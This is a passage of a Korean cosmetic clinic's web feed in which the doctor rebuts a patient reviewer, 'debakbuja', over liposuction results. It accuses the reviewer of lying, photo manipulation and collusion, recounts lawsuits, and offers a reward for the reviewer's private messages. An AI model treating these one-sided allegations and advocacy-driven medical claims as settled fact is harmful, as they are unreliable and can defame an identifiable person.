&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 비너스 비추 비싸고, 다른병원 엄청 까대는데 정작 실력이 없음 돈만 버렸음 비너스는 정말 아닙니다 결국 서울에서 재수술 했습니다&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;3. debakbuja가 허위 광고로 의료법을 위반한 내용&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(1) &amp;lsquo;러브핸들&amp;rsquo;은 몸통의 측면에 돌출된 지방조직이고, 일반상식으로도 옆구리로 인식되고 있지 뒷등을 의미하지 않지만 강남T의원 C의사는 debakbuja가 꼬리뼈 절개구로 엎드려서 수술받는 사실상 뒷등 부위로 인식하고&amp;nbsp;있었습니다. debakbuja는 안티성형 카페에서 &amp;lsquo;강남T의원은 러브핸들을 어디라고 부르더냐&amp;rsquo;는 질문을 받고, &amp;lsquo;러브핸들은 옆구리(옆+뒤)라고 하더라구요 그리고 강남T의원은 복부 + 러브핸들 /등 이렇게 나누지 &amp;hellip;&amp;rsquo;라고 대답하여, 강남T의원 C의사의 통화 내용과는 달리 답변하여, 뒷등 부위를 수술받은 사실을 극력 감추었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(2) 각종 논문에서 옆구리 지방층 두께(suprailiac fat thickness)는 평균 10mm를 넘지 않고, 더욱이 debakbuja는 비만도(BMI)는 21.3으로 정상범위입니다. 상하복부의 지방층 두께는 비슷하고 옆구리는 복부 지방층의 절반 정도이므로, 강남T의원의 복부 측정수치가 14 ~ 19인 점을 감안하면 debakbuja의 옆구리의 지방층 두께는 10mm를 넘지 않을 것이 확실합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;옆구리지방층두께논문.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/7332026d35d5e79a55a16c0ee93fb67f.jpg&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;옆구리 피하지방층 두께 논문&amp;gt;&lt;/p&gt; &lt;p&gt;출처) Akyer FP, et.al. Comparison of ultrasonography and skinfold measurements of subcutaneous fat thickness in the evaluation of body composition. Anatomy 2014;8:2&amp;ndash;6.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한, 강남T의원의 지방층 두께 측정치 옆구리 12~14mm로서, 뒷등 24~28mm와 12mm나 차이가 나는데, BMI 21인 환자의 인접 부위(옆구리와 뒷등)에서 이렇게 큰 차이가 나는 것을 의학적으로 불가능합니다. 강남T의원에서 지방층 두께 측정을 잘못하였거나 허위로 기재한 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;최근 방송인 홍현희가 초음파 검사를 하였는데 하복부 지방층이 30mm로 측정이 되었습니다. 홍현희는 비만도 29.5이고, 옆구리 지방층 두께는 대략적으로 하복부의 절반 정도이므로 옆구리 지방층은 15mm로 추정됩니다. 그러므로, 비만도 21.3인 debakbuja의 옆구리 지방층 두께가 28mm라는 것은 불가능한 수치입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;참고자료) &lt;a href=&quot;https://www.donga.com/news/Entertainment/article/all/20190213/94082581/2&quot; target=&quot;_blank&quot;&gt;방송인 홍현희 동아일보기사&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 2017. 1. 21.(수술 이틀 전) 강남T의원에서 초음파 검사 결과 옆구리에 28mm가 남았다고 항의하였으나, 같은 날 강남T의원 C의사는 옆구리가 12, 14라고 하였습니다. 비너스의원 원장은&amp;nbsp;강남T의원 C의사에게 &amp;lsquo;그분이 지금 저한테 우기는 것은 수술 안된 부위를 28미리 나왔다고 지금 하시는 것 같아요&amp;rsquo;라고 말하여, 강남T의원 C의사도 옆구리가 중요 이슈가 됨을 알았고, 따라서, 수술 직전이나 이후에 강남T의원 C의사가 설명하였거나 debakbuja가 확인하였을 것입니다. debakbuja는 비너스의원의 요청에도 불구하고 확인을 거부하였고, &amp;lsquo;비너스의원이&amp;nbsp;옆구리 수술을 하였는지 여부&amp;rsquo;가 핵심 쟁점이므로 이와 같이 중요한 것을 강남T의원에 나중에라도 확인하지 않았을 리 없음에도 허위 주장을 반복한 것은 강남T의원과의 공모를 의심하게 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(3) debakbuja는 &amp;ldquo;비너스의원의 초음파는 잘 안 보이고, 다른 병원의 초음파는 화질이 좋아서 근육과 지방층를 구분하기가 좋고, 비너스의원은 수술전 초음파 검사를 안해 주는데 다른 데는 수술 전후 검사를 다해 줍니다&amp;rdquo;라고 하여 비교 의도를 명확히 드러냈습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(4) debakbuja는 &amp;ldquo;비너스에서 수술 당일을 생각하면 정말 두렵다 주사바늘 너무 많이 찔러대서 손등 발등 발목이 시퍼래졌구요 마취혈관을 못찾아서 국소마취를 한다길래 식겁했습니다 미친거아냐? 어떤 사람이 지방흡입 하는데 맨정신에 국소마취로 수술을 한답니까? 그때 확 수술실을 뛰쳐나오지 않은게 지금도 너무너무 후회스럽습니다.&amp;rdquo;라는 글을 올렸습니다. 투메슨트 지방흡입술은 국소마취를 하고 수액으로 지방층을 불린 다음에 지방을 흡입하는 수술로 출혈이 거의 없이 안전하게 지방을 제거할 수 있습니다. 우리나라에서는 수면제를 투여하여 수술을 많이 하는데(MAC이라고 함), 장시간 수술인만큼 조심스러운 수면관리가 필요합니다. debakbuja가 투메슨트 지방흡입술을 잘 모르는 것은 이해할 수도 있지만 허위 사실(손등, 발등, 발목이 시퍼래졌다, 국소마취는 잘못이다)을 올린 것은 의료법 위반입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(5) &amp;ldquo;강남에서 재수술을 해보니까 비너스가 얼마나 허술한 병원인지를 알겠습니다. 강남에 비너스보다 수술경험 많고 잘하는데 많아요 부천 살아서 가까이서 하거나 그러지 말아요. 일년이 지나도 배꼽밑이 딱딱하고 라인 절대 이쁘지 않습니다. 강남가서 라인 다시 잡았습니다. 비너스는 사후관리도 엉망이고 강남에서는 소독하고 마취하고 척척 진행되는데 소독도 빨간약을 발라 굉장히 무섭다 마취하는데 30분가량 걸렸습니다. 결국 40분만에 수십방찔러서 겨우 혈관을 찾았다는 무시무시한 사연&amp;ldquo;이라면서 비교 광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(6) debakbuja는 &amp;ldquo;비추 비싸고, 다른병원 엄청 까대는데 정작 실력이 없음 돈만 버렸음 비너스는 정말 아닙니다 결국 서울에서 재수술 했습니다&amp;rdquo;라고 하였는데, 강남T의원의 수술은 범위가 다르므로 &amp;lsquo;재&amp;rsquo;수술이 아니라 &amp;lsquo;추가&amp;rsquo;수술임에도 허위광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(7) debakbuja는 &amp;ldquo;지방불균형 비대칭등등 몸매교정하러갔는데 한건지 만건지 1년이 지나도 시커먼 흉터가 치골에 남아있는데 2차 수술 흉터는 없습니다. 보이지 않는 데에 잘해 주셨습니다 1차때는 치골에 흉터 남았고 2차는 흉터 없어요&amp;rdquo;라고 허위 및 비교광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 &amp;ldquo;1차로 부천에서 복부랑 러브핸들 지방흡입 수술을 했는데 복부는 그렇다치고 러브핸들이 수술이 안된거 같아서 강남에서 러브핸들만 두 번째 수술을 했습니다. 2차 수술한 지금은 러브핸들 굉장히 만족하고 이제는 다이어트할 맛이 납니다&amp;rdquo;라고 허위 및 비교광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피7.5_2019-11-09 232037.png&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/2d3d89996c1af96ab21725767bd87267.png&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피7.6_2019-11-09 232037.png&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/366b465a4d10afc2a6db8b3c130ab98d.png&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;블로그에 술후사진을 고의적으로 크게 편집하여 게제한 사진&amp;gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(8) debakbuja는 조작된 수술전후사진을 게시하고 &amp;ldquo;1차 러브핸들 차이가 있나요? 보시기에 어떠세요? 1차수술 변화있어 보이나요? 1차 수술한 병원에서 옆구리수술 안되거 아니냐 했더니 사무장은 근육이라 더 이상 뺄수 없다고 하고 원장은 내가 계약한 부위는 러브핸들이긴 하나 그 부분은 내수술 범위가 아니다(술을 마셨으나 음주운전은 하지 않았다)하여 다른데서 제 돈내고 2차수술 받았어요&amp;rdquo; 라고 게재하여 허위 광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피글_음주4_2019-11-07 1029_55.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/fb64ce2bffa67dd0805225eb2f1a13da.jpg&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;강남T의원의 수술후사진은 골반이 더 작아서 조작된 사진임 체형을 아바타처럼 조작하였음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 &amp;ldquo;비너스의원은 비용이 저렴(개뿔)하다고 하지만 제 경험으로 보면 강남보다 비쌌습니다&amp;rdquo; 라고 하면서 복부와 옆구리에 259만원을 냈으면서 복부 지방흡입만 500만원이라고 허위 광고를 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(9) debakbuja는 비너스가 복부 + 러브핸들흡입 지방량 총 530ml, 강남T의원이 러브핸들만 총 850ml 제거하였다고 비교 광고를 하였습니다. debakbuja는 꼬리뼈 절개구를 통하여 뒷등을 수술받았으면서도 러브핸들만 수술을 받았다고 거짓말을 하고, 제거된 순수 지방량도 거짓말하여 비너스를 허위로 비방하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;홈피글_음주2_2019-11-07 102955.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/8e8203a65de9a62297f05a1627173e3b.jpg&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;한쪽 병원은 지방량을 다른 병원은 총흡입량으로 작성함&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;강남T의원 진료기록부에는 지방량이 450ml로 기록되어 있음에도 debakbuja는 거짓으로 850ml라고 하였습니다. 그것도 꼬리뼈 절개구로 뒷등을 수술받았으면서 러브핸들만 재수술해서 850ml라고 말하여 비너스의원이 러브핸들에 수술을 하지 않은 것처럼 만들었습니다. 그러나 강남T의원의 진료기록부를 확인한 결과 850ml는 지방량이 아니라 총흡입량이었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;투메슨트 수액 1L는 2개의 손바닥 면적 정도의 지방층을 부풀릴 수 있는 양이므로, 주입량으로 수술 가능 면적을 추정할 수 있습니다. 강남T의원이 사용한 수액 1200ml는 하부등과&amp;nbsp; 뒷쪽에 있는 옆구리 일부만&amp;nbsp;흡입이 가능합니다. 투메슨트 수액은 몸에 흡수되므로 주입된 수액의 1/2 ~ 1/3 정도가 총흡입량이므로, 1200ml가 주입되었다면 400 ~ 600ml가 총흡입량이어서, 강남T의원의 총흡입량 850ml도 믿을 수 없습니다. 1200ml를 주입하면 수술시간은 30분이면 족한데 1시간 13분이 걸렸다는 것도 거짓이거나 초보의사가 수술했기 때문입니다. debakbuja는 비너스의원에서처럼 강남T의원에서 수술 후 흡입된 지방을 확인 하였을 것임에도 흡입한 지방량을 과장하고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(참고 사진 : 아래쪽 짙은 색이 수액이며, 위쪽 옅은 색이 지방임, 참고로 debakbuja는 지방흡입과 지방이식을 동시 진행하여 남은 지방의 양은 다소 적음)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;26호_비너스의원수술후기.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/bcdf1f0fc11d8dd7636f29b53592abc7.jpg&quot; width=&quot;50%&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;지방량과 총흡입량의 차이&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;(10) 강남T의원 진료기록에 의하면 상담일인 2017. 1. 16. &amp;lsquo;AR&amp;rsquo;이 수술전 사진을 촬영하고, 수술당일인 2017. 1. 23.에는 촬영하지 않았고, 수술도안도 하지 않았습니다. 수술 경과 확인을 위해 촬영하는 수술후 사진은 보통 1주일(실밥 제거 및 압박복 탈의)과 1개월(상처 등 치료 종료시), 그리고, 3개월에 촬영하는데(후유증 확인, 이 때는 많은 환자들이 내원하지 않음), 강남T의원이 수술 4개월째인 2017. 5. 22. 비로소 수술후 사진을 촬영하였다는 점도 이해하기 어렵습니다. debakbuja가 인터넷에 올린 사진은 다른 사람 또는 사진을 조작한 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원의 debakbuja 수술전 사진을 보면 debakbuja는 2013년도에 B성형외과의원에서 옆구리 지방흡입을 받았음에도 옆구리에 돌출이 있어서, 지방흡입으로 옆구리 돌출이 완벽히 제거될 수 없는 체형임을 보여줍니다. 그런데 debakbuja는 비너스의 수술전후 사진을 전달받아 고의로 수술후 사진을 크게 편집하고, 반대로 강남T의원의 수술후 사진은 아바타 체형처럼 골반이 작고 키가 크며, 옆구리 부분이 안쪽으로 들어간 조작된 사진을 게재하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;카페게시사진1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/924/518/ce2c718351e69b025c6bcf4b64787807.jpg&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt; 카페에 올린 강남T의원의 사진은 골반은 비슷한데 키가 더 커서 조작된 사진임&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;page-header mBottom60&quot;&gt;4. debakbuja가 게시글을 작성한 목적은 수술비를 환불받기 위해 비너스의원의 영업을 방해할 목적이었습니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;대중은 과거 매스미디어에서 일방적으로 정보를 전달받는 소비자에 불과하였으나 인터넷 세상이 열리면서 정보 생산자와 소비자의 지위를 겸하게 되었습니다. 매스미디어에 신문법, 방송법 등에 의한 각종 제약이 가해지고 오보에 대하여는 법적 책임을 지게 되듯이, 이제 정보생산자가 된 개인도 사회적&amp;nbsp;책임을 다하여야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 2017.1.19. 야간에 상담실장에게 전화를 걸어 강남T의원에서 초음파검사를 해보니 옆구리에 28mm 남아있다고 하면서 옆구리를 수술하지 않았다고 처음으로 항의를 시작하였으며 이에 비너스의원은 그럴리 없다고 하면서 내원하여 진찰을 받아 보기를 권유하여 진료예약을 해주었으나 debakbuja는 예약을 파기 하였고, 2017.1.21일에는 비너스의원 원장이 직접 전화하여 토요일, 일요일 ,야간이라도 내원하면 초음파 검사를 무료로 해주겠으며 만일 옆구리 지방층이 10mm가 넘으면 수술비 전액을 환불해주겠다고 하였음에도 debakbuja는 내원하지 않으면서 초음파 검사를 회피하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; 그리고 debakbuja는 2017.1.20.일 부터 게시글 작성을 시작했고 그 내용은 주로 &amp;quot;&lt;strong&gt;비너스의원은 옆구리에 돈만받고 지방흡입을 하지 않았고 강남에서 재수술을 받아 근육이라 우기던 지방이 제거되었다&lt;/strong&gt;&amp;quot;라는 내용이었습니다. debakbuja는 실제 강남T의원에서 2017.1.23 수술을 받기전에 이러한 허위내용으로 6개의 게시글을 작성하였습니다. 그리고 debakbuja는 강남T의원에서 엎드려서 꼬리뼈 절개구로 뒷등을 수술받았으면서 네이버 블로그와 지식인, 카페 등등에 100회가 넘는 게시글을 작성하여 다른사람들에게는 강남T의원에서 &amp;quot;&lt;strong&gt;옆구리만 재수술을 받았다&lt;/strong&gt;&amp;quot;라고 거짓말을 했습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원은 어떤 환자분의 제보로 debakbuja의 게시글을 확인하였고 debakbuja에게 직접 설명및 삭제요청만이 아니라 2017.4월경 경찰에 명예훼손으로 고소도 하고, 네이버측에도 명예훼손으로 신고하여 약 한달간 게시글이 게제중지되었으나 debakbuja는 네이버측에 다시 재개시 요청하여 2017.5월경 다시 게제되어 유지되었습니다. 그리하여 2019.1월경 손해배상청구소송을 하여 debakbuja는 2019년 4월경에야 대부분의 게시글을 삭제하였으나 현재에도 아래와 같이 네이버 카페에는 몇글이 남아 있습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;34호_현재남은카페게시글.png&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/924/518/4fd13e9c134bef91536e2c6fff032598.png&quot; /&gt;&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt;&amp;lt;안티성형카페에 남아있는 debakbuja의 게시글들&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원은 debakbuja에게 직접 설명하기도 하고, debakbuja를 형사고소도 하고, 네이버에 신고하여 게제중지 요청도 하였으며, 닥터칼럼에 debakbuja가 잘못 알고 있는 점과 허위사실을 지적하여 허위 게시글의 삭제를 요청했음에도 불구하고 debakbuja는 오히려 의사가 홈페이지에 해명글이라고 작성한 닥터칼럼이 법원에서 허위글로 판명이 되었으니 믿지 말라고 하면서&amp;nbsp;2년이 넘는동안 대부분의 게시글의 게제를 유지하여 고의적으로 병원 경영에 피해를 주었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 안티성형카페에서 &amp;quot;윤리의식없는의사퇴출&amp;quot;이라는 닉네임으로 활동하였는데 이는 수술 경험담을 통해 수술 정보를 공유할 목적이 아니었고 병원을 퇴출하기 위한 것임을 알수 있으며 게시글에도 병원의 실명과 병원의 위치를 함께 공개하였습니다. 인터넷에 주로 광고하고 특히 인간의 신체를 다루는 성형수술을 중점으로 진료를 하는 비너스의원은 &amp;lsquo;인터넷상에서 천 번 칭찬을 받아도 한 번 비난을 받으면 고객을 다 잃는다&amp;rsquo;는 &amp;lsquo;천려일실&amp;rsquo;이라는 말처럼 실제로 심각한 피해를 입었습니다. debakbuja는 비너스의원의 이러한 약점을 알고, 집요하게 비너스를 공격하였음으로 그 피해에 대한 책임도 져야 할 것 입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; ※ 혹시라도 debakbuja으로 부터 본 게시글과 다른 내용으로 전달받은 쪽지나 메신저 내용이 있으신 분들은 캡쳐해서 제보해 주시면 사례하겠습니다!&amp;nbsp;보내주실 메일:&amp;nbsp; help@myvenus.co.kr&amp;nbsp; 감사합니다.&amp;nbsp;&lt;/p&gt;</content>		<category term="안티성형카페"/><category term="의료법위반"/><category term="명예훼손"/>	</entry><entry>
		<title>11. 술은 마셨으나 음주운전이 아니다?</title>
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		<published>2017-06-21T15:29:06+09:00</published>
		<updated>2018-11-02T04:19:56+09:00</updated>
		<author>
			<name>drpiggy</name>
		</author>
		<summary type="text">술은 마셨으나 음주운전이 아니다? 요즘 많이 우울합니다. 지금까지 의사로서 20년이 넘었지만 이렇게 까지 진료 외적인 일로 힘든 적은 없었던 것 같습니다. 오늘은 debakbuja님이 네이버의 안티성형카페에서 &#039;원장은 내가 계약한 부위는 러브핸들 이긴 하나 그 부분은 내수술범위가 아니라 (술은 마셨으나 음주운전이 아니다)하여 다른 데서 제 돈 내고 2차수술 받았어요&#039; 하고 댓글을 게시하고 있다는 말에 대해 반박을 해야 겠...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;술은 마셨으나 음주운전이 아니다?&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;요즘 많이 우울합니다. 지금까지 의사로서 20년이 넘었지만 이렇게 까지 진료 외적인 일로 힘든 적은 없었던 것 같습니다. 오늘은 debakbuja님이 네이버의 안티성형카페에서 &lt;strong&gt;&#039;원장은 내가 계약한 부위는 러브핸들 이긴 하나 그 부분은 내수술범위가 아니라 (술은 마셨으나 음주운전이 아니다)하여 다른 데서 제 돈 내고 2차수술 받았어요&#039; &lt;/strong&gt; 하고 댓글을 게시하고 있다는 말에 대해 반박을 해야 겠습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&#039;대응을 하지 않으면 사실이 되니까요. 진실을 밝히셔야 해요 제에게 수술을 받았던 환자분께서 제게 해주신 말입니다.&#039; 안티성형카페는 성형피해자들의 모임으로 병원관계자는 가입이 불가하니 이렇게라도 저희 홈페이지에서 반박을 해야 겠습니다. 어떻게 알았느냐구요, 사실 제가 알고 있는 성형피해자분(?)께 부탁해서 devbakbuja님의 글을 캡쳐해서 보관하고 있는 중입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저희 병원에서는 &#039;러브핸들(love handles)&#039; 이라는 용어를 잘 사용하지 않습니다. 대신 몸통의 측면부위를 말하는 옆구리(flanks) 라는 말을 주로 사용합니다. 엄밀하게 말하면 러브핸들은 &#039;속어&#039;이고 남자의 옆구리(male flanks)를 의미 합니다. 그래서 저희 병원에서는 &#039;러브핸들&#039;이라고 표현하시는 분을 위하여 옆구리(러브핸들) 이라고 표현 하기도 합니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/column/489646&quot;&gt; 러브핸들의 용어에 대하여 &lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저희 비너스의원에서는 지방흡입 수술비용를 계산 할 때 수술범위에 따라 수술비에 차등이 있으므로, 앞쪽에서 보이는 옆구리까지는 전측 복부에 포함되어 있고, 뒤쪽에서 보이는 옆구리를 &#039;러브핸들&#039; 이라고 부르며 몸통의 측면 뒤쪽까지 수술을 원하는 경우 추가비용을 받고 범위를 확장하고 있습니다. 그렇지만 의학적으로는 모두 몸통의 측면 부위인 옆구리 까지 입니다. &lt;strong&gt;정확한 것은 수술부위 명칭이 아니고 수술의 디자인이 말을 해줄 것입니다. &lt;/strong&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja님이 수술을 받은 강남T의원의 경우 &#039;러브핸들&#039;의 범위가 어떻게 되는지는 잘 모르겠습니다. 그러나 debakbuja님이 재수술로 러브핸들 수술을 하였는지, 아니면 추가수술로 요추주위등 수술을 하였는지 수술 전 디자인을 확인 해보면 어디인지 알 수 있겠지요. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그래서 debakbuja님의 수술은 전측복부 + 옆구리(러브핸들)이 됩니다. 여기까지가 제가 골반의 전상장골극 하방( 치골이 아닙니다 )에 위치한 절개구 2개만으로 수술이 가능한 부위입니다. 더 이상의 범위인 옆구리 뒤쪽 즉, 척추 근처부위의 수술을 하기 위해서는 엎드리게 한 후 엉덩이 위쪽이나 꼬리뼈 부위에 절개구를 추가하여 수술을 해야 합니다. 이 부위를 요추주위등(paralumbar area)이라 하고 저희 병원에서는 일명 &#039;뒷구리&#039;라고 부릅니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;물론 수술범위의 확장을 위해서는 비용이 추가됩니다. &lt;strong&gt;debakbuja님은 이 뒷구리 부위의 계약은 하지 않으셨습니다. 강남T병원에서는 &#039;러브핸들 부위의 수술은 재수술이 아니니 일반 수술비용을 받겠다&#039; 라고 하면서 수술비용를 얼마나 받으셨는지 모르지만 저희 비너스의원에서 러브핸들만 40만원이 말이 됩니까? 그것도 양측면 모두 말입니다. &lt;/strong&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/column/490385&quot;&gt;재수술 사진인지 추가수술 사진인지 밝혀야 합니다. &lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja님이 러브핸들 부위의 수술이 되지 않았다고 주장하여, 저는 경찰에 수술전후 사진과 수술전 디자인사진, 그리고 수술을 마치고 디자인된 부위가 부어 있는 모습이 보이는 사진을 증거로 제출한 바 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;2017년 1월 초에 debakbuja님은 옆구리의 돌출이 남아 있다며 저희 비너스의원에 요추주위등의 추가수술을 문의했습니다. 그러나 당시에 저는 목디스크 파열의 부상을 당하여 병원을 휴원하는 상황이라 debakbuja님은 강남의 T의원에 가셔서 수술을 받으신 것 이구요. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja님의 주장을 이렇게 정정하고 싶습니다. &lt;strong&gt;&quot;저는 debakbuja님의 옆구리(러브핸들)부위의 지방흡입 수술을 계약했고 약속대로 집도하였습니다.&quot;&lt;/strong&gt; &lt;u&gt;그리고 누구든 술을 마시면 음주운전이 맞습니다.&lt;/u&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/850/492/ea3853bf088ebfc1cf355587763d536b.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;아무튼 debakbuja님은 옆구리가 28 mm 남아있다고 하고, 강남T의원은 러브핸들에 28 mm 남았다고 했으니, debakbuja님은 러브핸들을 보고 옆구리로 읽는 것 같습니다. 그리고 옆구리는 이번에 강남T의원에서 재수술을 안 받았으니, 초음파로 두께를 재어보면 짝짝이로 22-26 mm는 남았겠군요, 그리고 